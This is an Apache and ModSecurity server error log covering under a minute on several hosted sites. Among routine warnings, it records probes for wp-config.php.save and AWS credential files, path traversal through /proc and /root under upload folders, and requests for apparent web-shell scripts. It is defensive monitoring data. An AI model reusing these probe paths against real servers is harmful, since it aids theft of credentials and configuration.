[Fri Jul 17 09:29:11.301655 2026] [security2:error] [pid 2018757:tid 2018757] [client 104.28.251.191:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "monarchdss.com"] [uri "/wp-config.php.save"] [unique_id "almoj0kXT4NBqALj2laC6AAAABA"]
[Fri Jul 17 09:29:11.301949 2026] [security2:error] [pid 2018757:tid 2018757] [client 104.28.251.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monarchdss.com"] [uri "/wp-config.php.save"] [unique_id "almoj0kXT4NBqALj2laC6AAAABA"]
[Fri Jul 17 09:29:11.439117 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:55158] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:11.660324 2026] [security2:error] [pid 2018741:tid 2018741] [client 104.28.251.191:0] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "monarchdss.com"] [uri "/.aws/credentials"] [unique_id "almoj7oj0IkvhSCYadmIAQAAAAQ"]
[Fri Jul 17 09:29:11.660587 2026] [security2:error] [pid 2018741:tid 2018741] [client 104.28.251.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monarchdss.com"] [uri "/.aws/credentials"] [unique_id "almoj7oj0IkvhSCYadmIAQAAAAQ"]
[Fri Jul 17 09:29:11.682326 2026] [security2:error] [pid 2030774:tid 2030774] [client 104.28.251.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "monarchdss.com"] [uri "/index.php"] [unique_id "almojhHlOGcokz2QIwTZbQAAAAM"]
[Fri Jul 17 09:29:12.011903 2026] [security2:error] [pid 2030774:tid 2030774] [client 104.28.251.191:0] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "monarchdss.com"] [uri "/.aws/config"] [unique_id "almokBHlOGcokz2QIwTZbgAAAAM"]
[Fri Jul 17 09:29:12.012209 2026] [security2:error] [pid 2030774:tid 2030774] [client 104.28.251.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monarchdss.com"] [uri "/.aws/config"] [unique_id "almokBHlOGcokz2QIwTZbgAAAAM"]
[Fri Jul 17 09:29:12.420759 2026] [security2:error] [pid 2047046:tid 2047046] [client 104.28.251.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "monarchdss.com"] [uri "/index.php"] [unique_id "almojk_0b3nWp8txtSDDKAAAAA0"]
[Fri Jul 17 09:29:12.573368 2026] [security2:error] [pid 2013830:tid 2013830] [client 104.28.251.191:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/monarchdss-global": Permission denied [hostname "monarchdss.com"] [uri "/index.php"] [unique_id "almojwRRrtuZqNDDSqW19wAAABo"]
[Fri Jul 17 09:29:12.573408 2026] [security2:error] [pid 2013830:tid 2013830] [client 104.28.251.191:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/monarchdss-ip": Permission denied [hostname "monarchdss.com"] [uri "/index.php"] [unique_id "almojwRRrtuZqNDDSqW19wAAABo"]
[Fri Jul 17 09:29:12.825668 2026] [security2:error] [pid 2029579:tid 2029579] [client 175.157.88.74:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/js/owl.carousel.min.js"] [unique_id "almokCRF0UOO1RzB5_80WgAAAA4"], referer: https://www.epid.gov.lk/investigation-forms/investigation-forms
[Fri Jul 17 09:29:12.825716 2026] [security2:error] [pid 2029579:tid 2029579] [client 175.157.88.74:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/js/owl.carousel.min.js"] [unique_id "almokCRF0UOO1RzB5_80WgAAAA4"], referer: https://www.epid.gov.lk/investigation-forms/investigation-forms
[Fri Jul 17 09:29:12.896690 2026] [security2:error] [pid 2018757:tid 2018757] [client 104.28.251.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "monarchdss.com"] [uri "/index.php"] [unique_id "almoj0kXT4NBqALj2laC6AAAABA"]
[Fri Jul 17 09:29:13.022518 2026] [security2:error] [pid 2018741:tid 2018741] [client 104.28.251.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "monarchdss.com"] [uri "/index.php"] [unique_id "almoj7oj0IkvhSCYadmIAQAAAAQ"]
[Fri Jul 17 09:29:13.268893 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:13.341867 2026] [security2:error] [pid 2030774:tid 2030774] [client 104.28.251.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "monarchdss.com"] [uri "/index.php"] [unique_id "almokBHlOGcokz2QIwTZbgAAAAM"]
[Fri Jul 17 09:29:13.442809 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:13.534005 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:04/subsystem/drivers/pvpanic/bind
[Fri Jul 17 09:29:13.809906 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:13.815980 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:55536] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:14.262360 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:14.442366 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:14.542373 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:14.717354 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:15.353958 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:16.081823 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:16.173914 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:16.447653 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/subsystem/wakeup10/device/eject
[Fri Jul 17 09:29:16.537555 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:17.643337 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:17.723795 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:17.814515 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup10/subsystem/wakeup9/device/eject
[Fri Jul 17 09:29:17.907164 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup9/subsystem/wakeup10/device/eject
[Fri Jul 17 09:29:18.089438 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:18.180744 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:18.270918 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:19.368193 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:55828] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:19.509905 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:55848] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:20.260636 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:55908] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:20.651608 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:22.090976 2026] [security2:error] [pid 2029866:tid 2029866] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almomV1_86A5R6msWNfaggAAABI"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1171&page_105=1932
[Fri Jul 17 09:29:22.091009 2026] [security2:error] [pid 2029866:tid 2029866] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almomV1_86A5R6msWNfaggAAABI"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1171&page_105=1932
[Fri Jul 17 09:29:22.522876 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:43354] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:23.565169 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:43380] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:23.997811 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:24.174287 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:27.995142 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:43582] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:28.497566 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:28.712215 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:29.548027 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:29.649247 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/hid/drivers/ntrig/bind
[Fri Jul 17 09:29:29.739810 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:30.289197 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:30.475395 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:30.750113 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:30.927217 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:31.549207 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:32.082036 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:32.189027 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:32.603587 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:40722] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:32.948743 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:33.004450 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:00/tty/ttyS0/rx_trig_bytes
[Fri Jul 17 09:29:33.225371 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:33.591331 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:34.083771 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/X11/xkb/keycodes/sony"] [unique_id "almopoe39YUk0SgV8AVARAAAABE"]
[Fri Jul 17 09:29:34.083823 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/X11/xkb/keycodes/sony"] [unique_id "almopoe39YUk0SgV8AVARAAAABE"]
[Fri Jul 17 09:29:34.228669 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:34.319071 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:34.502404 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:34.699035 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:37.622247 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:41.050899 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:41.109916 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:41.500867 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:41.867535 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:42.050659 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:42.235471 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:42.400092 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 57.141.18.77:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory95/node0/memory138/node0/cpu1/firmware_node/eject
[Fri Jul 17 09:29:42.518718 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:42.606481 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:42.973081 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:43.079913 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:43.525748 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:43.616968 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:43.813461 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:44.155864 2026] [security2:error] [pid 2029579:tid 2029579] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/seyawinc-global": Permission denied [hostname "colombobss.com"] [uri "/BDKR28.php"] [unique_id "almosCRF0UOO1RzB5_80dAAAAA4"]
[Fri Jul 17 09:29:44.155903 2026] [security2:error] [pid 2029579:tid 2029579] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/seyawinc-ip": Permission denied [hostname "colombobss.com"] [uri "/BDKR28.php"] [unique_id "almosCRF0UOO1RzB5_80dAAAAA4"]
[Fri Jul 17 09:29:44.183296 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:44.270480 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:44.358651 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:44.459751 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:44.491020 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:44.820034 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:44.949880 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:45.089205 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:45.248399 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almosfwooI4qY7Jg93pbdgAAABM"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:29:45.248449 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almosfwooI4qY7Jg93pbdgAAABM"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:29:45.461247 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:45.487856 2026] [security2:error] [pid 2013830:tid 2013830] [client 47.128.48.13:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/etc/yum.repos.d/epel-modular.repo"] [unique_id "almosQRRrtuZqNDDSqW2GgAAABo"]
[Fri Jul 17 09:29:45.487892 2026] [security2:error] [pid 2013830:tid 2013830] [client 47.128.48.13:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/etc/yum.repos.d/epel-modular.repo"] [unique_id "almosQRRrtuZqNDDSqW2GgAAABo"]
[Fri Jul 17 09:29:46.008726 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:46.118143 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:46.287381 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:46.941056 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.46.252.52:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:29:47.563420 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:57588] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:48.991154 2026] [security2:error] [pid 2018741:tid 2018741] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/seyawinc-global": Permission denied [hostname "colombobss.com"] [uri "/f900.php"] [unique_id "almotLoj0IkvhSCYadmIIQAAAAQ"]
[Fri Jul 17 09:29:48.991192 2026] [security2:error] [pid 2018741:tid 2018741] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/seyawinc-ip": Permission denied [hostname "colombobss.com"] [uri "/f900.php"] [unique_id "almotLoj0IkvhSCYadmIIQAAAAQ"]
[Fri Jul 17 09:29:49.484313 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:57674] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:51.428581 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:45864] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:52.385521 2026] [security2:error] [pid 2028246:tid 2028246] [client 66.249.64.97:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-global": Permission denied [hostname "colperlab.com"] [uri "/wp-content/uploads/2018/03/letter-white.png"] [unique_id "almouDsMb3am0TgkjETgwgAAAAo"]
[Fri Jul 17 09:29:52.385550 2026] [security2:error] [pid 2028246:tid 2028246] [client 66.249.64.97:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-ip": Permission denied [hostname "colperlab.com"] [uri "/wp-content/uploads/2018/03/letter-white.png"] [unique_id "almouDsMb3am0TgkjETgwgAAAAo"]
[Fri Jul 17 09:29:52.883745 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:45936] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:53.103764 2026] [security2:error] [pid 2013797:tid 2013797] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/seyawinc-global": Permission denied [hostname "colombobss.com"] [uri "/w3lls.php"] [unique_id "almouVh1WDijTxd1xw5SfgAAAAc"]
[Fri Jul 17 09:29:53.103807 2026] [security2:error] [pid 2013797:tid 2013797] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/seyawinc-ip": Permission denied [hostname "colombobss.com"] [uri "/w3lls.php"] [unique_id "almouVh1WDijTxd1xw5SfgAAAAc"]
[Fri Jul 17 09:29:54.294255 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 57.141.18.106:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory101/subsystem/devices/memory60/node0/compact
[Fri Jul 17 09:29:54.903473 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:46042] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:55.419354 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:46090] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:55.881239 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:46170] AH02013: coalesce failed to read from data bucket
